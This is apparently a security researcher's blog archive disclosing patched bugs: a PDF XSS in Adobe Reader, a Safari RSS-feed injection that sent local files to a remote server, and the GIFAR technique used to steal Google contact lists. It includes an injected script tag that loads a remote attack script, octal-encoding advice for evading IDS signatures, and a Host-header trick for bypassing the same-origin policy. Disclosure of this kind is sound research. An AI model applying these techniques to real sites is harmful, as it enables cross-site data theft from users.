Archive for the 'Web Application Security' Category
Monday, September 6th, 2010
In April of this year, Adobe patched a couple of bugs I reported to them. One was a code execution bug (CVE-2010-0191) and the other was a PDF based XSS (CVE-2010-0190). I’ll cover the code execution bug in a future post (as Adobe is still fixing a variant I reported), but for now I’d like to touch on the PDF XSS.
PDF based XSS isn’t a new concept, even Adobe considers PDFs to be active content. With that said, I’m surprised at the number of web applications that allow users to upload PDFs and then serve those PDF’s inline as opposed to an attachment (although there are some gotchas with content-disposition attachment). Serving a user supplied PDF inline essentially allows that user to execute arbitrary client side code from the domain serving the PDF. The safer way to handle PDFs is to serve them with the content-disposition set to attachment. An even better method is to serve the user controlled content from a separate domain. This can be difficult for web content portals that are deployed internally like SharePoint, Outlook Web Access (OWA) and Oracle Web (all of which were affected by this bug) where the organization would have to write custom code and employ custom configurations to protect themselves from PDF based XSS exposures. Serving PDFs with a content disposition set to attachment also creates usability issues as an ugly download warning will appear instead of the more friendly PDF content in the browser window behavior.
Although this particular bug was patched by Adobe a few months ago, there were a few things I learned that could possibly be used in other PDF bugs. I’d like to share some of the more interesting items.
PDFs Support Octal Encoding
1 0 obj
You can even mix and match the encoding, making it extremely difficult for any signature based IDS to detect malicious payloads.
If you’re up against a security blacklist when attempting to exploit a PDF bug, try passing an octal encoded value for your payload. This was the bug Adobe fixed with CVE-2010-0190
Security models are different for local and remote PDFs
Like most browser plug-ins Adobe has implemented different security mechanisms for PDFs opened from the local file system and PDFs opened remotely. It can be useful to determine whether the PDF was opened remotely or locally. The following script returns an indication as to how the PDF was loaded.
//In the browser or loaded locally
if ( this.external )
// Viewing from a browser
// Viewing in the Acrobat application.
This can be useful if your exploit only works for locally loaded PDFs or maybe if your exploit only works for remotely loaded PDFs.
PDFs can be used to call the default browser
There can be situations where the user browses certain websites with one browser, but uses another browser as their default browser. Adobe Acrobat Reader actually provides an API (I’m not sure if it’s intentional) to pass a URI to the default browser.
If a user calls app.launchURL and passes the “true” flag, the default browser is opened and handles the passed URI. This can provide a bridge between two different browsers and can increase the reachable attack surface in some circumstances. If the user is using the default browser to open the PDF, this can help bypass pop-up blockers. You can test this by setting your default browser to IE and browsing the following PDF in FireFox. PDF HERE
Monday, August 2nd, 2010
Last week, Apple patched a bug in Safari I had reported to the Apple security team. The impact of the bug was listed as a vulnerability that could “cause files from the user’s system to be sent to a remote server”. The advisory can be found here (CVE-2010-1778).
Here’s a breakdown of how you can get “files from the user’s system to be sent to a remote server”. First, Safari has a built-in RSS/Feed processor which will take RSS files and transforms them into a format that is easy to read. It’s important to understand that the XML content of the file being provided to the feed URL is not the same as the output markup that will be displayed by Safari’s built-in feed reader. Safari takes bits of content from the RSS file and mixes it with some built-in markup. Try browsing to this RSS feed with Firefox (http://xs-sniper.com/blog/feed/rss/) and do a quick view source. Then try browsing to the same URL with Safari and view source. You’ll see some drastic differences in the HTML markup between the two browser (the raw XML vs Safari’s transform).
<category term=”Hip Hop/Rap” scheme=”http://itunes.apple.com/us/genre/music-hip-hop-rap/id18?uo=2″ label=”Hip Hop/Rap”/>
<link title=”Preview” rel=”enclosure” type=‘video/x-m4″–><script src=”http://xs-sniper.com/blog/Safari-Feed/safari-mac-feedpwn.js”>
</script>’ href=”data:text/html,testtesttest” im:assetType=”preview”><im:duration>30864</im:duration></link>
The XML above is transformed into the following by Safari’s feed processing routines:
<!– <img src=”feed:///__icon32__/video/x-m4″–><script src=”http://xs-sniper.com/blog/Safari-Feed/safari-mac-feedpwn.js”> </script>”> –>
<img src=”file://localhost/C:/Program%20Files%20(x86)/Safari/PubSub.resources/default.jpg” height=”32″ width=”32″/>
Wednesday, December 17th, 2008
Last week, Sun released a patch for a vulnerability I reported to them. The patch I’m talking about fixes the “GIFAR” issue. I was unable to speak on the issue at Black Hat (for various reasons), but Nate McFeters did a great job of presenting the concept of GIFARs at Black Hat USA along with a simple example of how an attacker could use a GIFAR in an attack. Now that the issue has been patched, I’d like to cover some of the things related to “GIFARs” that I thought were interesting (including a few items that were not mentioned at Black Hat).
Before we begin, I’d like to thanks Chok Poh from Sun’s Security team. Chok was vital in fixing the GIFAR issue. This patch required some significant thought as to how to best handle this issue. Chok was very responsive and was smart enough to understand the impact of the unusual issue. I’d also like to thank the Google Security team. Google was our “guinea pig” for testing some of the pieces related to GIFARs and despite having to redesign some of their application behavior, they were gracious and very worked diligently to protect their users. Now, on to the show!
As shown by Nate at Black Hat, creating the GIFAR is simple, we simply use the “copy” command on Windows or the “cat” command on *nix. There are a few different places that talk about this technique (pdp has a great write up), but I first learned of the technique from Lifehacker.com in this post. Once the GIFAR is created, we examine the file in a HEX editor. The header of the file looks something like this:
The footer looks something like this:
We now have a file that is both a valid GIF and valid Java JAR. We now upload our GIFAR to our victim domain (in this case Google’s Picasa Web). Google attempts to ensure the file is a valid GIF (which it is) and takes ownership of the GIFAR on their domain. Once Google has taken ownership of the GIFAR, I can reference the applet on my attacking page via the APPLET tag. I think the items above were well covered at Black Hat and it is these concepts that represent the essence of a generic GIFAR attack… but Google is smart and they understood the dangers of insecure content ownership before GIFAR, so let’s looks at how we bypassed these Google specific protections.
When we first examined the GIFAR we uploaded to Picasa Web, it wasn’t actually served from the google.com domain. The actual domain it was served from lh4.ggpht.com. Below is a screenshot of the domain Google was using to serve the user supplied images.
After some investigation, we realized that ggpht.com was actually an alias for google.com. So, we could manually change our request from lh4.ggpht.com to lh4.google.com.
Bingo! Now we are on a google.com domain! From here, a lot of attackers begin to think “Java has raw sockets…”. It’s one of the first avenues we approached, but we quickly discovered that raw sockets aren’t as useful as other techniques. Instead of raw sockets, we chose to use Java’s HTTPUrlConnection object. We chose the HTTPUrlConnection object for two very good reasons. The first reason is HTTPUrlConnection uses the browsers cookies when making request to domains. So, if our applet is stored on lh4.google.com and the user is signed into Google, we get to piggy back off the victim’s cookies. We’ll get to the second reason here in a bit.
Now, even though we are now on the google.com domain, we still have a problem. The Java Same Origin Policy allows the applet to connect back to the domain that served the applet (I’ve covered this behavior before in previous posts). Considering the applet was served from lh4.google.com, the attacker is allowed to use the applet to connect back to lh4.google.com and only lh4.google.com. The problem here is lh4.google.com doesn’t store anything interesting. This problem leads us to the second reason we chose the HTTPUrlConnection object.
Java’s HTTPUrlConnection object has a method named “setRequestProperty”. Using setRequestProperty we can set arbitrary HTTP headers for our GET and POST requests. We use the setRequestProperty to set the HOST header for the HTTP request, allowing us to “jump” from the lh4.google.com domain to any other google.com sub domain. As a simple example, I had discovered a contact list at http://groups-beta.google.com/groups/profile/contacts?out=&max=500 (Google has removed this contact list). I set the URL object passed to the HTTPUrlConnection object to http://lh4.google.com/groups/profile/contacts?out=&max=500. I also set the HOST header to groups-beta.google.com.
When the request is made, Java checks the value of the URL object to ensure the Same Origin Policy is enforced. Since the domain of the URL object is lh4.google.com, everything checks out and Java lets the request through. Once Google receives the request, it checks the HOST header to determine where the resource should be served from. The HOST header specifies that the resource should be served from groups-beta.google.com, so despite the fact that the URL points to lh4.google.com, Google serves the contact list from groups-beta.google.com. In this example, I stole a user’s contact list but it could have been any content from a number of Google sub domains.
It’s easy to blame Java (Sun) for this issue. After all, it was their JRE that had a relaxed Jar parsing criterion which allowed GIFARs to be passed as Jars. In many respects some blame could be placed on Sun, but in my opinion (as humble as it is), this is ultimately a web application issue. When a web application chooses to take ownership of a user controlled file and serves it from their domain, it weakens the integrity of the domain. This isn’t the first time an image was repurposed like this, IE has had MIME sniffing issues with images, Flash had crossdomain.xml issues with images, and now we have GIFARs. The impact of these attacks could have been minimized if web applications that took user controlled files served those files from a “throw away” domain. As an application developer, you can prevent these types of attacks in the future by using a separate domain for user influenced files.